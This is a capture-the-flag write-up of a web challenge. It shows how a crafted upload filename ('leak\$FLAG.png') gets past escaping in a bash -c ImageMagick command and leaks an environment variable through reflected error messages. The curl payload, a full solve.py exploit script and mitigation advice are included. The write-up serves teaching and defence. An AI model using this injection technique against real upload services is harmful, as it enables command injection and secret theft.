Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebEasy

Image Compress Revenge (Web)

CTF writeup for Image Compress Revenge (Web) from TSGctf

>Image Compressor

Flag format: TSGCTF{...}


>TL;DR

  • Vulnerability: command injection / environment variable expansion via image filename used in a bash -c shell invocation.

  • Root cause: user-controlled file name is double-escaped in a way that allows $FLAG environment variable to be expanded inside the shell command constructed for ImageMagick, then leaked through ImageMagick's stderr which is reflected back in a JSON error.

  • Local exploit: crafted multipart filename containing a backslash before $FLAG (e.g. leak\$FLAG.png) and uploaded via curl to /compress.

  • Remote result: extracted flag: TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}


>Setup & Initial reconnaissance

Files were provided as an archive. I extracted and inspected the server code to understand how the app handled uploads.

Project structure (relevant):

  • server/server.ts — the web server code (Elysia + Bun)

  • server/lib/shell.ts — wrapper that runs shell commands via spawn(['bash','-c', command])

  • server/public/index.html — frontend that POSTs multipart form to /compress

  • Dockerfile / compose.yaml — containerized environment and an environment variable FLAG is set in the container

Key server function (simplified):

ts

// server.ts (relevant excerpt)

const inputPath = `./tmp/inputs/${escape(image.name)}`;

const outputPath = `./tmp/outputs/${escape(image.name)}`;

await run(`magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`);

The run() helper executes the command via bash -c.

Why this is interesting

  • The app writes the uploaded file to ./tmp/inputs/<escaped-name> and runs a shell command using the escaped filename, so any weaknesses in how the name is quoted/escaped may lead to shell expansion or injection.

  • The code has checks (disallow .. in the filename) and an escaping function, and ImageMagick's security policies are present in the container (this affects which ImageMagick tricks succeed).


>Local testing & debugging steps

I started the app locally using Docker Compose (background):

bash

cd extracted/image-compress-revenge

nohup docker-compose up --build >> local_docker.log 2>&1 &

I verified the service:

bash

$ tail -n 1 local_docker.log

app_1  | 🦊 server is running at http://localhost:3000

I tested /compress with a small PNG file:

bash

$ python3 - <<'PY'

from PIL import Image

Image.new('RGB',(32,32),(255,0,0)).save('red.png')

PY

  

$ curl -sS -F "image=@red.png;type=image/png;filename=red.png" -F "quality=50" http://127.0.0.1:10502/compress -D /tmp/h -o /tmp/out.png

$ head -n 5 /tmp/h

HTTP/1.1 200 OK

Content-Type: image/png

Content-Disposition: attachment; filename="red.png"

That confirmed a normal upload/compress flow.

Observed protections

  • escape() function is applied to filenames (it escapes a number of characters including $ by prefixing a backslash). That suggested simple $() or ; injections would be blocked.

  • ImageMagick policy.xml disables URL delegates and has other restrictions (so some classic ImageMagick remote-read tricks are disabled).

I tried some advanced ImageMagick tricks (MSL, label:@/proc/self/environ, etc.) but those were blocked by the policy or file-system restrictions.


>The pivot / core idea

While scanning failures, I noticed the app runs magick "<input>" ... "<output>" via bash -c. The escape() function adds a backslash before $ in the filename. That led to the thought: what happens if we control the number of backslashes before $ in the uploaded filename?

If the filename contains a single backslash before $FLAG (i.e. ...\$FLAG.png) then:

  1. escape() will add another backslash, producing \\$FLAG inside the double-quoted bash -c command string.

  2. Bash inside double-quotes interprets sequences of backslashes such that \\$FLAG becomes \$FLAG (effectively leaving a backslash then $FLAG) — or, depending on how many escapes collapse, it can lead to a $FLAG expansion.

  3. The result: the $FLAG environment variable can be expanded by the shell inside the command.

  4. If ImageMagick cannot write to the path (or errors), its stderr will contain the expanded path including the flag; the app reflects ImageMagick's stderr back in JSON.

So the idea was to intentionally craft the filename to cause expansion of the $FLAG env variable and then trigger an ImageMagick error so the stderr contains the flag.

This is subtle: the technique relies on a particular combination of how filename escaping is applied and how Bash processes backslashes/quotes in bash -c.

Note: I tried using programmatic libraries to post the multipart upload (Python requests), but some libraries and clients normalize backslashes differently. Using curl ensured the filename= header was transmitted exactly as intended.


>PoC / Exploit (local) — walk-through

Step: craft filename leak\\$FLAG.png and upload via curl

I used curl to control the multipart filename exactly:

bash

curl -sS --max-time 10 \

  -F 'image=@red.png;type=image/png;filename=leak\\$FLAG.png' \

  -F 'quality=85' \

  http://127.0.0.1:10502/compress

Server responded with an error JSON that contained ImageMagick stderr. Example (abbreviated):

json

{"error":"Failed to compress image: Error: Shell command failed:\nmagick: unable to open image './tmp/inputs/leak\\TSGCTF{DUMMY}.png': No such file or directory ...\n"}

Notice the message contains: TSGCTF{DUMMY} — that is the FLAG from the container environment leaked into stderr.

Automation: solve.py

I automated the steps using a small script that invokes curl to make sure the multipart filename is transmitted exactly. The script parses the response for TSGCTF{...}.

Full solver (saved as solve.py):

py

#!/usr/bin/env python3

import re

import subprocess

import sys

from pathlib import Path

  

FLAG_RE = re.compile(r"TSGCTF\{[^}]+\}")

  
  

def exploit(base_url: str, image_path: Path) -> str:

    url = base_url.rstrip("/") + "/compress"

  

    # Transmit a filename with a single backslash before $FLAG.

    filename = r"leak\$FLAG.png"

  

    cmd = [

        "curl",

        "-sS",

        "--max-time",

        "15",

        "-F",

        f"image=@{str(image_path)};type=image/png;filename={filename}",

        "-F",

        "quality=85",

        url,

    ]

    r = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False)

    text = r.stdout.decode("utf-8", "replace")

  

    match = FLAG_RE.search(text)

    if not match:

        err = r.stderr.decode("utf-8", "replace")

        raise RuntimeError(

            f"Flag not found. curl_exit={r.returncode}. Response head: {text[:300]!r}. curl_stderr: {err[:200]!r}"

        )

  

    return match.group(0)

  
  

# CLI

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print(f"Usage: {sys.argv[0]} http://host:port", file=sys.stderr)

        sys.exit(2)

    base = sys.argv[1]

    candidate = Path("red.png")

    if not candidate.exists():

        print("Missing red.png. Create one (e.g. via Pillow).", file=sys.stderr)

        sys.exit(1)

  

    print(exploit(base, candidate))

I ran it locally against http://127.0.0.1:10502 and retrieved the dummy flag:

$ python3 solve.py http://127.0.0.1:10502 TSGCTF{DUMMY}

Why curl?

  • I tested with requests/multipart features, but Python libraries sometimes normalize or escape the filename value; curl preserves exact filename= transmission, which we need to include backslashes precisely.

>Remote exploitation (proof)

After confirming the PoC locally, I ran the same script against the provided remote host:

$ python3 solve.py http://35.221.67.248:10502 TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}

This is the final flag for the challenge.


>Important observations & lessons learned

  • The app attempts to be careful by escaping special characters, but double-escaping and the subtleties of shell quoting can lead to environment variable expansion or command evaluation if user input is embedded in bash -c strings.

  • Avoid constructing shell commands by concatenation and running bash -c when possible. Use safe APIs or pass arguments as arrays (e.g. execve style) so arguments are not interpreted by the shell.

  • Always treat filenames as untrusted input; prefer to sanitize to a strict allowed character set or rewrite uploaded files to safe, deterministic filenames.

Mitigations (recommended):

  • Do not invoke bash -c on strings that contain any user-controlled data.

  • If shell invocation is necessary, ensure filenames are strictly validated (e.g., [A-Za-z0-9._-]+) and never allow characters like \ and $ (or properly perform quoting using specialized libraries).

  • Run ImageMagick with a restrictive policy and avoid exposing its stderr directly in responses.


>References & further reading

  - https://www.hackerone.com/reports/2795

  - https://www.cvedetails.com/product/2384/Image-Magick.html


>Appendix: Important terminal snippets used during analysis

Server started:

🦊 server is running at http://localhost:3000

Leaked stderr example (local, truncated):

{"error":"Failed to compress image: Error: Shell command failed:\nmagick: unable to open image './tmp/inputs/leak\\TSGCTF{DUMMY}.png': No such file or directory ...\n"}

Docker container's FLAG env (local):

$ docker exec image-compress-revenge_app_1 sh -lc 'echo "$FLAG"' TSGCTF{DUMMY}

Remote flag (final):

TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}

>Conclusion

This challenge was about recognizing how filename escaping and shell quoting interact to accidentally trigger environment variable expansion inside a shell command. The fix is to avoid letting untrusted input be interpreted by a shell or to sanitize filenames aggressively. The PoC is compact and reproducible; solve.py is included above for automation.